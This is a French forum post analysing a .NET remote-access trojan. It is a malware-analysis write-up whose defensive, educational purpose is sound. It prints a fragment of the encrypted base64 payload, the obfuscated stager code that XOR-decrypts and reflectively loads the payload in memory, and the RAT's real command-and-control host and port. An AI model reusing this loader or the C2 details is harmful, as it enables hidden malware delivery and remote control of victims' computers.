AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAQAAAAAAAEAGAAAABgAAIAAAAAAAAAAAAQAAAAAAAEAAQAAADAAAIAAAAAAAAAAAAQAAAAAAAEAAAAAAEgAAABYgAAA5wEAAOQEAAAAAAAAPD94bWwgdmVyc2lvbj0iMS4wIiBlbmNvZGluZz0iVVRGLTgiIHN0YW5kYWxvbmU9InllcyI/Pg0KPGFzc2VtYmx5IHhtbG5zPSJ1cm46c2NoZW1hcy1taWNyb3NvZnQtY29tOmFzbS52MSIgbWFuaWZlc3RWZXJzaW9uPSIxLjAiPg0KICA8YXNzZW1ibHlJZGVudGl0eSB2ZXJzaW9uPSIxLjAuMC4wIiBuYW1lPSJNeUFwcGxpY2F0aW9uLmFwcCIvPg0KICA8dHJ1c3RJbmZvIHhtbG5zPSJ1cm46c2NoZW1hcy1taWNyb3NvZnQtY29tOmFzbS52MiI+DQogICAgPHNlY3VyaXR5Pg0KICAgICAgPHJlcXVlc3RlZFByaXZpbGVnZXMgeG1sbnM9InVybjpzY2hlbWFzLW1pY3Jvc29mdC1jb206YXNtLnYzIj4NCiAgICAgICAgPHJlcXVlc3RlZEV4ZWN1dGlvbkxldmVsIGxldmVsPSJhc0ludm9rZXIiIHVpQWNjZXNzPSJmYWxzZSIvPg0KICAgICAgPC9yZXF1ZXN0ZWRQcml2aWxlZ2VzPg0KICAgIDwvc2VjdXJpdHk+DQogIDwvdHJ1c3RJbmZvPg0KPC9hc3NlbWJseT4NClBQQURESU5HWFhQQURESU5HUEFERElOR1hYUEFERElOR1BBRERJTkdYWFBBRERJTkdQQURESU5HWFhQQURESU5HUEFERElOR1hYUEFERElOR1BBRERJTkdYWFBBRERJTkdQQURESU5HWFhQQURESU5HUEFERElOR1hYUEFERElOR1BBRERJTkdYWFBBRERJTkdQQURESU5HWFhQQURESU5HUEFERElOR1hYUEFERElOR1BBRERJTkdYWFBBRERJTkdQQURESU5HWFhQQURESU5HUEFERElOR1hYUEFERElOR1BBRERJTkdYWFBBRERJTkdQQURESU5HWFhQQURESU5HUEFERElOR1hYUEFERElOR1BBRERJTkdYWFBBRERJTkdQQURESU5HWFhQQURESU5HUEFERElOR1hYUEFERElOR1BBRERJTkdYWFBBRERJTkdQQURESU5HWFhQQURESU5HUEFERElOR1hYUEFERElOR1BBRERJTkdYWFBBRERJTkdQQURESU5HWFhQQURESU5HUEFERElOR1hYUEFERElOR1BBRERJTkdYWFBBRERJTkdQQURESU5HWFhQQURESU5HAHAAAAwAAACgNAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA=";
            byte[] ك与いл与ḒجҘ頂عωбه四ن予ЀзecϐيӧثаnеҼҞ革byte = Program.RSADecrypte(Convert.FromBase64String(s));
            Program.おӔШkъmはҞえЀえناいъxḔきpyふrгيبoώмا(ك与いл与ḒجҘ頂عωбه四ن予ЀзecϐيӧثаnеҼҞ革byte);
        }
        public static void おӔШkъmはҞえЀえناいъxḔきpyふrгيبoώмا(byte[] ك与いл与ḒجҘ頂عωбه四ن予ЀзecϐيӧثаnеҼҞ革byte)
        {
            string text = null;
            string s = "MQ==";
            AppDomain.CurrentDomain.Load(ك与いл与ḒجҘ頂عωбه四ن予ЀзecϐيӧثаnеҼҞ革byte).EntryPoint.Invoke(text, (object[])Interaction.IIf(AppDomain.CurrentDomain.Load(ك与いл与ḒجҘ頂عωбه四ن予ЀзecϐيӧثаnеҼҞ革byte).EntryPoint.GetParameters().Length > 0, new object[]
            {
                new string[]
                {
                    new ASCIIEncoding().GetString(Convert.FromBase64String(s))
                }
            }, text));
        }
        public static byte[] RSADecrypte(byte[] data)
        {
            byte[] array = new byte[data.Length - 16];
            Buffer.BlockCopy(data, 16, array, 0, array.Length);
            for (int i = 0; i < array.Length; i++)
            {
                array[i] = Convert.ToByte((int)(array[i] ^ data[i % 16]));
            }
            return array;
        }

Cette fois si, je décide de coder rapidement de quoi déchiffrer, et je code donc en C# pour réutilisez le code de la fonction RSADecrypte.
Code :
public static byte[] RSADecrypte(byte[] data)
        {
            byte[] array = new byte[data.Length - 16];
            Buffer.BlockCopy(data, 16, array, 0, array.Length);
            for (int i = 0; i < array.Length; i++)
            {
                array[i] = Convert.ToByte((int)(array[i] ^ data[i % 16]));
            }
            return array;
        }


        private void button1_Click(object sender, EventArgs e)
        {
            string s = "> Ici on met la string qu'on avait avant (je veux pas que ça prenne trop de place sur le post)";
            byte[] byte_ = RSADecrypte(Convert.FromBase64String(s));
            File.WriteAllBytes("tmp.txt", byte_);
        }

Nous voila donc avec notre troisième fichier, vous connaissez la chanson, bonjour IlSpy ^^
Et nous y voila enfin, notre bon petit malware !
Cette fois si, je ne vais pas poster le code en complet, c'est beaucoup trop long, et je m'en voudrais d'uploader moi même un malware, alors je vous propose si vous souhaitez en voir d'avantage de déchiffrer vous même avec le code ci dessus Smile

Bref, cette fois ci, ce n'est plus un obfu ou packer, mais bien le malware.
Après avoir analyser les fonction send et sendb qui semble permettre la communication, avec le serveur, via la connexion avec connect, on retrouve son adresse
Code :
OK.C.Connect(OK.H, Conversions.ToInteger(OK.P));

Code :
public static string H = "gamer0.servegame.com";
public static string P = "5552";
Après reverse DNS et IP, il se trouve que c'est un utilisateur de "Maroc Telecom" qui est serveur.

Après cela, j'ai regardé qui utilisais
Code :
public static TcpClient C = null;
Il y a donc bien connect, sendb, mais aussi RC et Ind(byte[])

Commençons par RC. Il est lancé par ko(), la méthode principale appelé par la main. Il se trouve que c'est un thread qui ne s'arrête pas de boucler et qui s'occupe de recevoir les donné envoyé par le serveur. Ind lui, est appelé par RC.

Nous avons donc un jolie petit RAT/Trojan 100% .NET et plutôt bien caché Smile

L'évolution de la détection au fur et a mesure de l'évolution dans les fichiers :
https://www.virustotal.com/fr/file/0d921...409194571/
https://www.virustotal.com/fr/file/1ac3e...409194621/
https://www.virustotal.com/fr/file/d4ca5...409194642/

Voila ce que je sais pour le moment, je ne sais pas encore si je retournerais peaufiner ce que je sais, mais je comptais le partager avec vous Smile

N'hésitez pas a me dire ce que vous pensez de mon post,
bonne soirée Smile
BufferoverfloW

Всё минется, одна правда останется
+1 (9) -1 (0) Répondre


Sujets apparemment similaires…
Sujet Auteur Réponses Affichages Dernier message
  Reverse Jar Malware Yttrium 6 500 24-02-2016, 10h20
Dernier message: ZeR0-@bSoLu

Atteindre :


Utilisateur(s) parcourant ce sujet : 1 visiteur(s)
N-PN
Accueil | Challenges | Tutoriels | Téléchargements | Forum | Retourner en haut